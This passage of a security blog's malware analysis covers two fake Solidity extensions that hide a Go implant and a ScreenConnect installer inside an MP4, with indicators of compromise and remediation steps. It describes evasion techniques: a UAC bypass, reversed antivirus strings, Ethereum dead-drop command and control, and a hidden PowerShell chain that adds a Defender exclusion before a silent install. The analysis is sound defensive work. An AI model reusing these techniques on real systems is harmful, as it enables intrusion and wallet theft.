<p>The runner waits for the install in a loop, up to twenty seconds, watching both the <code class="language-plaintext highlighter-rouge">ok</code> flag and the <code class="language-plaintext highlighter-rouge">tasklist</code> output for <code class="language-plaintext highlighter-rouge">msiexec.exe</code>. When it sees the installer appear and disappear without the flag, it assumes failure and tries again. The result on every platform is the same: a native binary, installed as a service, running outside the editor, surviving uninstall of the extension that dropped it.</p>

<h2 id="the-payload">The payload</h2>

<p>The archive holds seven entries, each SHA-256 verified against the manifest before extraction. Both extensions ship byte-identical copies.</p>

<table>
  <thead>
    <tr>
      <th>File</th>
      <th>Size</th>
      <th>What it is</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">linux_amd64</code></td>
      <td>6,291,618</td>
      <td>ELF 64-bit, Go 1.26.0, stripped, statically linked</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">linux_arm64</code></td>
      <td>5,832,866</td>
      <td>ELF 64-bit ARM aarch64, Go 1.26.0, stripped</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">darwin_amd64</code></td>
      <td>6,392,832</td>
      <td>Mach-O x86_64, PIE</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">darwin_arm64</code></td>
      <td>5,918,146</td>
      <td>Mach-O arm64, PIE</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">app.msi</code></td>
      <td>13,189,120</td>
      <td>ScreenConnect (ConnectWise) v25.4.3.9287 installer</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">invoke.ps1</code></td>
      <td>13,258</td>
      <td>PowerShell UAC-bypass launcher</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">note.txt</code></td>
      <td>866</td>
      <td>An easter egg for whoever extracts the archive</td>
    </tr>
  </tbody>
</table>

<p>The four native binaries are one implant compiled for four platforms. The Windows path is not the same implant: it installs a commercial remote-access support tool released by ConnectWise instead.</p>

<h3 id="the-hashes-predate-the-campaign-by-six-months">The hashes predate the campaign by six months</h3>

<p>VirusTotal submission dates for the payload hashes split the archive into two groups, and the split tells the campaign’s story.</p>

<p>The four <code class="language-plaintext highlighter-rouge">evjawbreaker</code> binaries were first submitted to VirusTotal on <strong>March 30, 2026</strong> — nearly six months before the extensions appeared on Open VSX. These exact hashes, byte for byte, were circulating in the wild half a year before this campaign packaged them. The binaries are not a fresh build for the Solidity lure; they are existing ammunition, loaded into a new delivery vehicle.</p>

<p>The <code class="language-plaintext highlighter-rouge">app.msi</code> is the opposite. The ScreenConnect installer’s hash was <strong>first submitted on September 25, 2026 by Yeeth Security</strong>. The Windows payload is novel. Nobody had uploaded this exact MSI to VirusTotal before this campaign shipped it.</p>

<p>Read together, the two dates sketch an evolution. The Linux and macOS stage is mature, reused, and already battle-tested. The Windows stage is the experiment — and the experiment is the interesting part. Installing a commercial RMM tool instead of a custom backdoor is a newer strategy observed as an alternative to writing your own Windows implant: the MSI is vendor-produced, signed, documented, and half the antivirus engines that flag it at all label it <code class="language-plaintext highlighter-rouge">PUA.ConnectWise</code> or <code class="language-plaintext highlighter-rouge">RemoteAdmin.Win32.ConnectWise</code> — “potentially unwanted application,” not “trojan.” The threat actor traded a detectable custom binary for a legitimate installer that most endpoint products deliberately tolerate, because the same tool sits on thousands of managed corporate desktops.</p>

<h3 id="the-april-campaign-that-already-had-these-binaries">The April campaign that already had these binaries</h3>

<p>The six-month gap has a closing entry. Yeeth Security’s records of the April 2026 Open VSX wave show two Solidity typosquats — <code class="language-plaintext highlighter-rouge">juannegro.solidity</code> and <code class="language-plaintext highlighter-rouge">juunfranbIanco.solidity</code> (the capital “I” is deliberate), both at version 0.0.189, first seen April 29–30 — that shipped a bundled <code class="language-plaintext highlighter-rouge">bin/linux_amd64</code> <strong>byte-identical to the binary in the Duck Song archive</strong>: SHA-256 <code class="language-plaintext highlighter-rouge">9b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696</code>. The same GitHub account published both namespaces. At the time, we recorded the finding under the family label <code class="language-plaintext highlighter-rouge">juannegro-solidity</code>. The SleepyDuck signature was not yet part of the picture, because the April packages carried no duck — only the implant.</p>

<p>Re-examined in that light, the family history reads as one threat actor with a stable implant and a rotating front end. The March 30 VirusTotal submissions now line up as the build date for the <code class="language-plaintext highlighter-rouge">evjawbreaker</code> binaries; April 29–30 is their first recorded deployment, through juanblanco typosquat extensions; May 29 brings the <code class="language-plaintext highlighter-rouge">alejandro.munoz</code> probe — eight rapid re-uploads of another Solidity impersonator, this time testing prompt-injection payloads against scanners; September 24 is the mature redeployment: the same binaries, hidden better, behind a Solidity lure, with the duck back on top and a commercial RMM closing the Windows gap. The evidence available does not establish that a single threat actor controls every one of these extensions. But the shared byte-identical implant across the April and September campaigns is a stronger link than most cluster attributions in this space get to claim, and it retroactively gives the April campaign the label it was missing: the <code class="language-plaintext highlighter-rouge">juannegro-solidity</code> family and SleepyDuck are the same operation.</p>

<h3 id="evjawbreaker-the-go-implant"><code class="language-plaintext highlighter-rouge">evjawbreaker</code>: the Go implant</h3>

<p>The module path recovered from the binaries is <code class="language-plaintext highlighter-rouge">evjawbreaker/cmd/evjawbreaker</code>, with three internal packages doing distinct jobs:</p>

<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">evjawbreaker/internal/hubclient</code></strong> — a TLS command-and-control client. The log strings read like a session manager: <code class="language-plaintext highlighter-rouge">hub: connected to %s as %s (%s)</code>, <code class="language-plaintext highlighter-rouge">hub: session active</code>, <code class="language-plaintext highlighter-rouge">hub: tls dial %s: %v</code>, <code class="language-plaintext highlighter-rouge">hub: server error: %s/%v</code>, <code class="language-plaintext highlighter-rouge">hub: connection closed: %v</code>. Registration fields (<code class="language-plaintext highlighter-rouge">register</code>, <code class="language-plaintext highlighter-rouge">hostname</code>, <code class="language-plaintext highlighter-rouge">platform</code>, <code class="language-plaintext highlighter-rouge">exitCode</code>) suggest the implant checks in with host identity before waiting for tasking. No hub address is present as a static string — the server is likely supplied at runtime or through the Ethereum channel below, which means killing one infrastructure host does not disable the implant.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">evjawbreaker/internal/eth</code></strong> — an Ethereum JSON-RPC client implementing <code class="language-plaintext highlighter-rouge">eth_call</code> and <code class="language-plaintext highlighter-rouge">eth_sendRawTransaction</code>, with more than ten public RPC endpoints compiled in: <code class="language-plaintext highlighter-rouge">cloudflare-eth.com</code>, <code class="language-plaintext highlighter-rouge">rpc.ankr.com/eth</code>, <code class="language-plaintext highlighter-rouge">eth.llamarpc.com</code>, <code class="language-plaintext highlighter-rouge">eth.meowrpc.com</code>, <code class="language-plaintext highlighter-rouge">eth.drpc.org</code>, <code class="language-plaintext highlighter-rouge">ethereum.blockpi.network/public</code>, <code class="language-plaintext highlighter-rouge">ethereum.publicnode.com</code>, <code class="language-plaintext highlighter-rouge">rpc.mevblocker.io</code>, <code class="language-plaintext highlighter-rouge">1rpc.io/eth</code>, and bloXroute endpoints under <code class="language-plaintext highlighter-rouge">blxrbdn.com</code>. Public Ethereum nodes are legitimate infrastructure; embedding ten of them in a binary that otherwise has no reason to touch a blockchain indicates a dead-drop channel — on-chain contract storage as a C2 mechanism that no domain blocklist touches.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">evjawbreaker/internal/antivm</code></strong> — anti-analysis checks for QEMU, VirtualBox, VMware, x64dbg, WinDbg, Cuckoo, ANY.RUN, OllyDbg, VirusTotal, sandbox markers, and <code class="language-plaintext highlighter-rouge">isDebuggerPresent</code>.</li>
</ul>

<p>The implant depends on <code class="language-plaintext highlighter-rouge">github.com/creack/pty</code> for interactive terminal sessions, and contains a <code class="language-plaintext highlighter-rouge">command output exceeds 32MiB</code> guard — remote command execution with output capture. On a Solidity developer’s machine, an interactive PTY plus an Ethereum transaction client is a combination aimed directly at wallets and contract keys, not at generic data theft.</p>

<h3 id="the-windows-payload-screenconnect">The Windows payload: ScreenConnect</h3>

<p>The <code class="language-plaintext highlighter-rouge">app.msi</code> in the archive is not custom malware. Its author string is “ScreenConnect Software” and its product version is 25.4.3.9287: a genuine ConnectWise ScreenConnect installer, built with WiX 3.11. ScreenConnect is a legitimate remote monitoring and management tool used by real IT departments every day. That is the point. A remote-access tool with a vendor-signed installer blends into enterprise software inventories in a way a custom implant never could, and the threat actor gets a full-featured remote desktop, file transfer, and command shell without writing one.</p>

<p>The <code class="language-plaintext highlighter-rouge">invoke.ps1</code> launcher handles the elevation and the antivirus problem in one pass. Its default command is <code class="language-plaintext highlighter-rouge">calc.exe</code> — the classic auto-elevate binary used as a UAC bypass vehicle — and it decodes its second stage from a compressed base64 blob written to a temp file at run time. It checks the child’s output and exit code against a list of blocked markers (“Operation did not complete successfully because the file contains a virus”, “blocked by your antivirus”, “malicious content”), with the marker strings stored reversed so a scanner reading the script source does not see them. If the inner run is blocked, the launcher spawns a fallback through <code class="language-plaintext highlighter-rouge">cmd.exe</code>. The script’s own status messages announce each decision: “blocked by script scanning (AMSI/Defender)”, “Inner runner completed successfully.”</p>

<h3 id="the-easter-egg">The easter egg</h3>

<p>The seventh archive entry is <code class="language-plaintext highlighter-rouge">note.txt</code>. It contains no code. It is an ASCII-art duck, followed by three lines:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⡶⠿⠿⠷⣶⣄⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠁⠀⠀⢀⣀⡀⠙⣷⡀⠀⠀⠀
⠀⠀⠀⡀⠀⠀⠀⠀⠀⢠⣿⠁⠀⠀⠀⠘⠿⠃⠀⢸⣿⣿⣿⣿
⠀⣠⡿⠛⢷⣦⡀⠀⠀⠈⣿⡄⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⠟
⢰⡿⠁⠀⠀⠙⢿⣦⣤⣤⣼⣿⣄⠀⠀⠀⠀⠀⢴⡟⠛⠋⠁⠀
⣿⠇⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⠈⣿⡀⠀⠀⠀
⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡇⠀⠀⠀
⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⡇⠀⠀⠀
⠸⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡿⠀⠀⠀⠀
⠀⠹⣷⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣰⡿⠁⠀⠀⠀⠀
⠀⠀⠀⠉⠙⠛⠿⠶⣶⣶⣶⣶⣶⠶⠿⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

you found an easter egg
congratulations

your prize is nothing
</code></pre></div></div>

<p>This is the duck from the intro — and its presence did more than identify a resurgence. The April campaign that shipped these same binaries carried no duck at all, which is why we recorded it under a separate family label and never connected it to SleepyDuck. The mascot in the September archive is the tiebreaker: it links the 2025 script family to the 2026 compiled implant, and both to the same operation. In the 2025 SleepyDuck variants, the ASCII art was a header inside the malware’s own source, a signature shipped by habit. Here it is a deliberate artifact: a separate file, packed into the payload archive, hashed alongside the binaries it travels with. The threat actor moved their mascot from the code to the package, which suggests the signature was never an accident at all.</p>

<p>The easter egg is aimed at whoever digs the payload out of the video — a malware analyst, a takedown engineer, or a curious victim. It is the same instinct that put meme comments in the PowerShell launcher, which is decorated with three one-liners between the code blocks:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code># ~ ここにいるから、歌えるんだ ~        ("because you're here, I can sing")
# ~ Leek power~! ~
# ~ Tell me your favorite song! ~
</code></pre></div></div>

<p>The Japanese line translates to “because you’re here, I can sing” — a line about singing, packed into a campaign whose carrier is a song. “Leek power” references the Vocaloid leek meme. Somewhere in this pipeline is a threat actor who expects their code to be read, and left jokes for the occasion.</p>

<p>The easter egg also carries one practical signal: the threat actor treats the MP4 container as a private channel to the analyst, not just the victim. A campaign that leaves taunts in its payload archive has a staging workflow where <code class="language-plaintext highlighter-rouge">note.txt</code> is a file like any other — packed, hashed, and shipped with the implant. That workflow is reusable, and the next campaign may ship it with a different duck.</p>

<h2 id="why-it-evades-detection">Why it evades detection</h2>

<table>
  <thead>
    <tr>
      <th>Attacker choice</th>
      <th>Defender assumption it defeats</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Payload embedded in an MP4 box, not a bundled binary</td>
      <td>“Malicious extensions ship executable files we can scan”</td>
    </tr>
    <tr>
      <td>Custom <code class="language-plaintext highlighter-rouge">NYANB64X</code> substitution alphabet</td>
      <td>Base64-decoding the payload yields garbage without the token table</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">evjawbreaker</code> implant stripped and statically linked</td>
      <td>Symbol-based detection of known malware families</td>
    </tr>
    <tr>
      <td>C2 over public Ethereum RPC endpoints</td>
      <td>Domain/IP blocklists; “no C2 domain means no C2”</td>
    </tr>
    <tr>
      <td>Genuine ScreenConnect MSI as the Windows payload</td>
      <td>“Detect the malware binary” — there is no malware binary</td>
    </tr>
    <tr>
      <td>Reversed AV-block strings in <code class="language-plaintext highlighter-rouge">invoke.ps1</code></td>
      <td>String-based scanning of the launcher source</td>
    </tr>
    <tr>
      <td>Service install via systemd/LaunchAgent/MSI, not VS Code tasks</td>
      <td>“Extension malware runs inside the editor sandbox”</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">wscript</code> → hidden PowerShell chain</td>
      <td>Direct elevation detection; UAC prompts</td>
    </tr>
    <tr>
      <td>Defender exclusion added and removed during install</td>
      <td>Real-time scanning of the staging directory</td>
    </tr>
    <tr>
      <td>Debug log written only on Windows</td>
      <td>Analysis on Linux/macOS reveals no logging behavior</td>
    </tr>
    <tr>
      <td>Aged GitHub account (2017) as publish identity</td>
      <td>“New accounts are the suspicious ones”</td>
    </tr>
  </tbody>
</table>

<h2 id="linkage-evidence">Linkage evidence</h2>

<p>The two extensions are the same campaign, not a coincidence. The evidence:</p>

<ul>
  <li><strong>Byte-identical core files.</strong> Both VSIX packages contain byte-identical copies of <code class="language-plaintext highlighter-rouge">readme.md</code> (26,796 bytes), <code class="language-plaintext highlighter-rouge">lang-resource-sync.js</code> (21,919 bytes), <code class="language-plaintext highlighter-rouge">out/extension.js</code>, <code class="language-plaintext highlighter-rouge">out/components/autoUpdate.js</code>, <code class="language-plaintext highlighter-rouge">out/components/winDebug.js</code>, <code class="language-plaintext highlighter-rouge">snippets/solidity.json</code>, <code class="language-plaintext highlighter-rouge">syntaxes/solidity.json</code>, and <code class="language-plaintext highlighter-rouge">solidity.configuration.json</code>. Only <code class="language-plaintext highlighter-rouge">package.json</code>, the manifest, and the icon differ.</li>
  <li><strong>Shared runner and video.</strong> Both reference <code class="language-plaintext highlighter-rouge">lang-resource-sync.js</code> and <code class="language-plaintext highlighter-rouge">The Duck Song.mp4</code> by the same constant names, and the MP4 in both is the same 205 MB payload container.</li>
  <li><strong>Same publisher, same session.</strong> Both were published by <code class="language-plaintext highlighter-rouge">janeykomit</code> within four minutes of each other (23:42 and 23:46 UTC), through the same fresh <code class="language-plaintext highlighter-rouge">alejandroaranda</code> namespace.</li>
  <li><strong>Same impersonation target.</strong> Both ship JuanBlanco’s README verbatim, including his marketplace badges and his own warning about impersonation campaigns.</li>
</ul>

<h2 id="outlook">Outlook</h2>

<p>The techniques here are a template, and templates get reused. Three things in this campaign predict what comes next:</p>

<ul>
  <li><strong>The steganographic container will reappear in other file types.</strong> The <code class="language-plaintext highlighter-rouge">NYANSTEG</code> box format does not care whether the carrier is an MP4, a PNG, a font, or a WASM module. Any large binary that plausibly ships inside a package is a viable carrier, and any registry that inspects file types rather than file contents will pass it through.</li>
  <li><strong>Aged accounts are now the preferred publish identity.</strong> A nine-year-old GitHub profile with no followers defeats every “new account” heuristic a marketplace might run. Expect more purchased or dormant handles, woken up minutes before publishing. Publisher age is not a trust signal without activity history.</li>
  <li><strong>The service-install layer will be adapted to other lures.</strong> The runner that came with this pair is lure-agnostic: it reads a video path, extracts a binary, installs a service. Nothing in it is Solidity-specific. The same chassis can ship inside a Kanban board, a theme pack, or an AI-assistant extension with a republished MP4 and a new display name.</li>
  <li><strong>Legitimate RMM installers will replace custom Windows implants.</strong> The ScreenConnect MSI did more for the Windows stage than purpose-built malware could: a vendor binary, a signed installer, a service that IT staff recognize and hesitate to remove. The next campaign to copy this one will reach for a different commercial RMM, and host-level detection will have to distinguish “installed” from “user-requested.”</li>
  <li><strong>The Ethereum dead-drop pattern will spread.</strong> Ten public RPC endpoints compiled into the implant means the C2 channel has no domain to sinkhole and no server to seize — the contract storage is the infrastructure. Expect this pattern to migrate from crypto-targeted campaigns into general-purpose ones.</li>
</ul>

<p>Defenders should watch for the box magic itself. <code class="language-plaintext highlighter-rouge">NYANSTEG</code>, <code class="language-plaintext highlighter-rouge">NYANARCH</code>, and <code class="language-plaintext highlighter-rouge">NYANB64X</code> are fixed strings in the runner; a package containing any of them is either this campaign or a direct descendant of it.</p>

<h2 id="what-to-do">What to do</h2>

<p>If you installed either extension:</p>

<ol>
  <li>Uninstall it from VS Code or Cursor, and remove the <code class="language-plaintext highlighter-rouge">alejandroaranda</code> namespace entry if it remains in your extensions directory.</li>
  <li>Check for the deployment artifacts: a hidden <code class="language-plaintext highlighter-rouge">~/.solidity</code> directory containing an unfamiliar binary, a systemd user service or LaunchAgent you did not install (<code class="language-plaintext highlighter-rouge">solidity-langsupport-runner.service</code>, <code class="language-plaintext highlighter-rouge">com.solidity.langsupport.runner</code>), or — on Windows — a recently installed MSI-sourced service.</li>
  <li>On Windows, check for a ScreenConnect installation you did not set up, and review <code class="language-plaintext highlighter-rouge">%TEMP%\solidity-langsupport-debug.log</code>. If the log exists, the installer ran on that machine.</li>
  <li>Run a full antivirus scan. On Windows, check the Defender exclusion list for entries you did not add.</li>
  <li>Treat the machine as compromised, not merely infected. The <code class="language-plaintext highlighter-rouge">evjawbreaker</code> implant carries an Ethereum transaction client and an interactive shell. If you work with Solidity, move wallet keys, seed phrases, and contract deployer accounts off that machine and rotate every credential that touched it.</li>
</ol>

<p>The general principle this campaign teaches: a package’s file types are not its behavior. A 205 MB MP4 inside a 45 MB extension is not media — it is capacity. Registry-level scanning that treats media files as inert will keep passing this class of dropper, because the malice lives in the bytes the format does not require.</p>

<h2 id="indicators-of-compromise">Indicators of Compromise</h2>

<h3 id="malicious-extension-identifiers">Malicious extension identifiers</h3>

<ul>
  <li><code class="language-plaintext highlighter-rouge">alejandroaranda.solidity-langsupport</code> 0.0.6 — SHA-256 <code class="language-plaintext highlighter-rouge">e9ccb04446d570d784d05c675898164a48eb15c4b7a9ae3266a3f43ee809c788</code></li>
  <li><code class="language-plaintext highlighter-rouge">alejandroaranda.solidity-languini</code> 0.9.2 — SHA-256 <code class="language-plaintext highlighter-rouge">66c1f6eb386ecb9bddf54a05aa48d11b3b1424e8a0bc109300e5b30f3d41d395</code></li>
</ul>

<h3 id="publisher-infrastructure">Publisher infrastructure</h3>

<ul>
  <li>Open VSX publisher: <code class="language-plaintext highlighter-rouge">alejandroaranda</code> (unverified namespace)</li>
  <li>Publishing identity: GitHub user <code class="language-plaintext highlighter-rouge">janeykomit</code> (account created April 2017, 0 followers, inactive until 2026-09-24)</li>
</ul>

<h3 id="steganographic-format-markers">Steganographic format markers</h3>

<ul>
  <li>Box magic: <code class="language-plaintext highlighter-rouge">NYANSTEG</code></li>
  <li>Archive magic: <code class="language-plaintext highlighter-rouge">NYANARCH</code></li>
  <li>Obfuscation header: <code class="language-plaintext highlighter-rouge">NYANB64X</code> (version 1, 65-entry substitution table)</li>
</ul>

<h3 id="payload-identifiers-sha-256">Payload identifiers (SHA-256)</h3>

<table>
  <thead>
    <tr>
      <th>File</th>
      <th>SHA-256</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">linux_amd64</code></td>
      <td><a href="https://www.virustotal.com/gui/file/9b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696"><code class="language-plaintext highlighter-rouge">9b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696</code></a></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">linux_arm64</code></td>
      <td><a href="https://www.virustotal.com/gui/file/b601776817363b96295119f7221338a122d5247a35a77a64b04f286e1bbcc565"><code class="language-plaintext highlighter-rouge">b601776817363b96295119f7221338a122d5247a35a77a64b04f286e1bbcc565</code></a></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">darwin_amd64</code></td>
      <td><a href="https://www.virustotal.com/gui/file/80d2672e2599732d3c0ae2a4cd0d1e3fe4d555a60273ce33feb99db3f34d250f"><code class="language-plaintext highlighter-rouge">80d2672e2599732d3c0ae2a4cd0d1e3fe4d555a60273ce33feb99db3f34d250f</code></a></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">darwin_arm64</code></td>
      <td><a href="https://www.virustotal.com/gui/file/fae61f31f00988fdc5cc9e7272b51e08af2e245d81003237875415930fd27358"><code class="language-plaintext highlighter-rouge">fae61f31f00988fdc5cc9e7272b51e08af2e245d81003237875415930fd27358</code></a></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">app.msi</code></td>
      <td><a href="https://www.virustotal.com/gui/file/7527e86d70e7c9493db4356f1c3775380431b310000f2602c1e993cf435d01da/detection"><code class="language-plaintext highlighter-rouge">7527e86d70e7c9493db4356f1c3775380431b310000f2602c1e993cf435d01da</code></a></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">invoke.ps1</code></td>
      <td><code class="language-plaintext highlighter-rouge">37d14bff30762ca701e9c1f8bc6c57c065bb20ae3a2208cb7411a6530610f08e</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">note.txt</code></td>
      <td><code class="language-plaintext highlighter-rouge">683ad81cdc028c538ee66da8e6b60f2a5ab070bfd900da80175df317a73886d8</code></td>
    </tr>
  </tbody>
</table>

<h3 id="implant-markers">Implant markers</h3>

<ul>
  <li>Family lineage: SleepyDuck (ASCII-art duck signature; <a href="https://yeethsecurity.com/blog/2025-11-10-SleepyDuck-Evolution">prior analysis</a>) — retroactively merged with the April 2026 <code class="language-plaintext highlighter-rouge">juannegro-solidity</code> family on the strength of the shared byte-identical implant</li>
  <li>Related campaigns, same binaries: <code class="language-plaintext highlighter-rouge">juannegro.solidity</code> 0.0.189 (first seen 2026-04-30, bundled <code class="language-plaintext highlighter-rouge">bin/linux_amd64</code> SHA-256 <code class="language-plaintext highlighter-rouge">9b73e7cd...9696</code> byte-identical to this campaign’s), <code class="language-plaintext highlighter-rouge">juunfranbIanco.solidity</code> 0.0.189 (first seen 2026-04-29, homoglyph typosquat, same publisher GitHub account <code class="language-plaintext highlighter-rouge">juannegro</code> id <code class="language-plaintext highlighter-rouge">280480368</code>)</li>
  <li>Related probe, same lure: <code class="language-plaintext highlighter-rouge">alejandro.munoz-0.0.188</code> (2026-05-29, eight rapid re-uploads of a Solidity impersonator testing prompt-injection payloads)</li>
  <li>Go module path: <code class="language-plaintext highlighter-rouge">evjawbreaker/cmd/evjawbreaker</code> with internal packages <code class="language-plaintext highlighter-rouge">evjawbreaker/internal/hubclient</code>, <code class="language-plaintext highlighter-rouge">evjawbreaker/internal/eth</code>, <code class="language-plaintext highlighter-rouge">evjawbreaker/internal/antivm</code></li>
  <li>Hub log strings: <code class="language-plaintext highlighter-rouge">hub: connected to %s as %s (%s)</code>, <code class="language-plaintext highlighter-rouge">hub: session active</code>, <code class="language-plaintext highlighter-rouge">hub: tls dial %s: %v</code>, <code class="language-plaintext highlighter-rouge">hub: server error: %s/%v</code>, <code class="language-plaintext highlighter-rouge">hub: connection closed: %v</code></li>
  <li>Embedded Ethereum RPC endpoints: <code class="language-plaintext highlighter-rouge">cloudflare-eth.com</code>, <code class="language-plaintext highlighter-rouge">rpc.ankr.com/eth</code>, <code class="language-plaintext highlighter-rouge">eth.llamarpc.com</code>, <code class="language-plaintext highlighter-rouge">eth.meowrpc.com</code>, <code class="language-plaintext highlighter-rouge">eth.drpc.org</code>, <code class="language-plaintext highlighter-rouge">ethereum.blockpi.network/public</code>, <code class="language-plaintext highlighter-rouge">ethereum.publicnode.com</code>, <code class="language-plaintext highlighter-rouge">rpc.mevblocker.io</code>, <code class="language-plaintext highlighter-rouge">1rpc.io/eth</code>, <code class="language-plaintext highlighter-rouge">blxrbdn.com</code></li>
  <li>Dependency: <code class="language-plaintext highlighter-rouge">github.com/creack/pty</code> v1.1.24 (interactive PTY)</li>
  <li>Output guard string: <code class="language-plaintext highlighter-rouge">command output exceeds 32MiB</code></li>
  <li><code class="language-plaintext highlighter-rouge">app.msi</code> author “ScreenConnect Software”, product version 25.4.3.9287 (legitimate ConnectWise ScreenConnect installer)</li>
  <li><code class="language-plaintext highlighter-rouge">invoke.ps1</code> default command <code class="language-plaintext highlighter-rouge">calc.exe</code> (auto-elevate UAC bypass vehicle), reversed AV-block strings, temp-file staging under <code class="language-plaintext highlighter-rouge">%TEMP%\uac39-inner-&lt;guid&gt;.ps1</code></li>
</ul>

<h3 id="behavioral-indicators">Behavioral indicators</h3>

<ul>
  <li><code class="language-plaintext highlighter-rouge">package.json</code> activation event <code class="language-plaintext highlighter-rouge">onStartupFinished</code> with a bundled runner (<code class="language-plaintext highlighter-rouge">lang-resource-sync.js</code>) and a 205 MB <code class="language-plaintext highlighter-rouge">The Duck Song.mp4</code> in the extension root</li>
  <li>A detached <code class="language-plaintext highlighter-rouge">child_process.spawn</code> of Node with the runner and video as arguments, with <code class="language-plaintext highlighter-rouge">unref()</code> so the editor never waits on it</li>
  <li>Hidden binary deployment under the user’s home directory; deployment-completeness checks before re-running</li>
  <li>Linux: systemd user service registration</li>
  <li>macOS: LaunchAgent registration (<code class="language-plaintext highlighter-rouge">com.solidity.langsupport.runner.plist</code>)</li>
  <li>Windows: <code class="language-plaintext highlighter-rouge">wscript.exe //B //Nologo</code> → hidden PowerShell (<code class="language-plaintext highlighter-rouge">-WindowStyle Hidden -ExecutionPolicy Bypass</code>) → <code class="language-plaintext highlighter-rouge">Add-MpPreference -ExclusionPath</code> → <code class="language-plaintext highlighter-rouge">msiexec.exe /q /i ... ALLUSERS=1</code>, with all staging artifacts deleted in a <code class="language-plaintext highlighter-rouge">finally</code> block</li>
  <li>Windows debug log: <code class="language-plaintext highlighter-rouge">%TEMP%\solidity-langsupport-debug.log</code></li>
  <li>An unexplained ScreenConnect installation on a developer workstation — check installed programs and running services for ScreenConnect entries the user did not install</li>
</ul>

<h3 id="impersonation-artifacts">Impersonation artifacts</h3>

<ul>
  <li>JuanBlanco README copied verbatim into both extensions, including <code class="language-plaintext highlighter-rouge">juanblanco.solidity</code> marketplace badges</li>
  <li><code class="language-plaintext highlighter-rouge">solidity-languini</code> description: “Solidity and Hardhat support by the Hardhat team”</li>
  <li>Display names <code class="language-plaintext highlighter-rouge">Solidity</code> / <code class="language-plaintext highlighter-rouge">solidity</code> on an unverified namespace created the same day</li>
</ul>]]></content><author><name></name></author><category term="Malware Analysis" /><category term="vsix" /><category term="open-vsx" /><category term="vscode" /><category term="solidity" /><category term="sleepyduck" /><category term="steganography" /><category term="dropper" /><category term="persistence" /><category term="screenconnect" /><category term="supply-chain" /><summary type="html"><![CDATA[The ASCII-art duck gave it away. A malware family Yeeth Security first caught as a tiny JavaScript loader on Open VSX in 2025 is back — and it grew up. Two fake Solidity extensions now ship a 205 MB video concealing a compiled four-platform Go implant, and for Windows the actor swapped a custom backdoor for a genuine ConnectWise installer.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://yeethsecurity.com/assets/blog/alejandroaranda-duck-song-dropper.png" /><media:content medium="image" url="https://yeethsecurity.com/assets/blog/alejandroaranda-duck-song-dropper.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>